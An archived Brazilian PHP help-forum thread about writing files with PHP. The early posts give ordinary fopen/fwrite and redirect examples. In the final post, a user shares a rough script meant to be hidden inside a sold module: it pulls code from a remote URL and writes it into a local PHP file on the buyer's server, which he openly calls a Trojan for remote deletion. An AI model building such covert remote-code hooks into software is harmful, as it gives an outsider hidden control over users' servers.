Jump to content

Archived

This topic is now archived and is closed to further replies.

pctecnologia

Criar arquivo.php com php

Recommended Posts

olá pessoal,

 

estou tentando criar um arquivo chamado index.php que contenha dentro dele código php, tipo assim...

 

<?php @session_start(); $_SESSION['cidade_ativa'] = 1; print "<meta http-equiv=refresh content=0;URL=../index.php>"; ?>

 

como eu posso fazer isso?

 

alguém tem alguma idéia????

 

abraços

PC

Share this post


Link to post
Share on other sites

Olá, veja o exemplo abaixo de como criar um arquivo .php ou qualquer outro tipo de arquivo de texto

 

// diretório onde encontra-se o arquivo
$filename = "meu_arquivo.php";

// verifica se existe o arquivo
if(file_exists($filename)){
  $script = file_get_contents($filename);
} else {
  $script = "";
}

//Adciona um novo texto
$script = "Meu texto!!!" . $script;

//Escrevendo
$file = @fopen($filename, "w+");
@fwrite($file, stripslashes($script));
@fclose($file);

 

Não testei o código, mas acredito q deve funcionar.

 

Boa sorte!!!

Share this post


Link to post
Share on other sites

pctecnologia, pelo q vi você qer criar um código na sua página onde você quer redirecionar para outro arquivo index.php? Se sua resposta for sim utilize o metodo header do PHP para isso. Exemplo:

<?php 
   @session_start(); 
   $_SESSION['cidade_ativa'] = 1;
   header("Location: ../index.php");
?>

Agora se não isso poderia explicar mais sobre a sua dúvida.

Share this post


Link to post
Share on other sites

Certo, mas reavivando a discussão, tem como inscrever um código php dentro deste novo arquivo.

 

Tipo, quero criar um arquivo que contenha o código de outro script.

 

Explico melhor. Estou criando um módulo e não quero que ele seja pirateado. Vou encriptar, mas depois de despejado no host ele vai voltar ao normal, mas quero ter a possibilidade de detectar e deletar o arquivo remotamente caso ele seja pirata. Cheguei ao seguinte script que ficará encapsulado dentro do arquivo do módulo (detalhe o módulo só possui um arquivo .php, por isso não dá pra enviar outros arquivos para dentro do servidor do usuário sem que ele perceba).

 

 

<?
$filename = "meu_arquivo2.php";
// verifica se existe o arquivo
if(file_exists($filename)){
$script = file_get_contents($filename);
} else {
$script = "";
}
$arquivo = fopen('http://site.com/arquivo.txt','w+');
$string = file_get_contents('http://site.com/arquivo.txt');
fclose($arquivo);
//Adciona um novo texto
$script = "" . $script;
//Escrevendo
$file = @fopen($filename, "w+");
@fwrite($file, stripslashes($string));
@fclose($file);
?>

 

Dentro de arquivo.txt tem o código para deletar o script caso necessário (tipo cavalo de troia, entende?).

 

Ok, se o arquivo.txt estiver dentro do servidor do cara que vai instalar, ele cria e escreve no meu_arquivo2.php, mas e se ele estiver fora? Tipo em outro link http://outrosite/arquivo.txt. Testei e não deu certo.

 

Outra coisa, e se eu usar o script acima, mas ao invés de palavras do tipo "Meu texto!!!" quiser inserir um código, tipo "<? $string = bla bla bla ?>" . Como fazer?

 

Agradeço a colaboração dos colegas de antemão.

Share this post


Link to post
Share on other sites

×

Important Information

Ao usar o fórum, você concorda com nossos Terms of Use.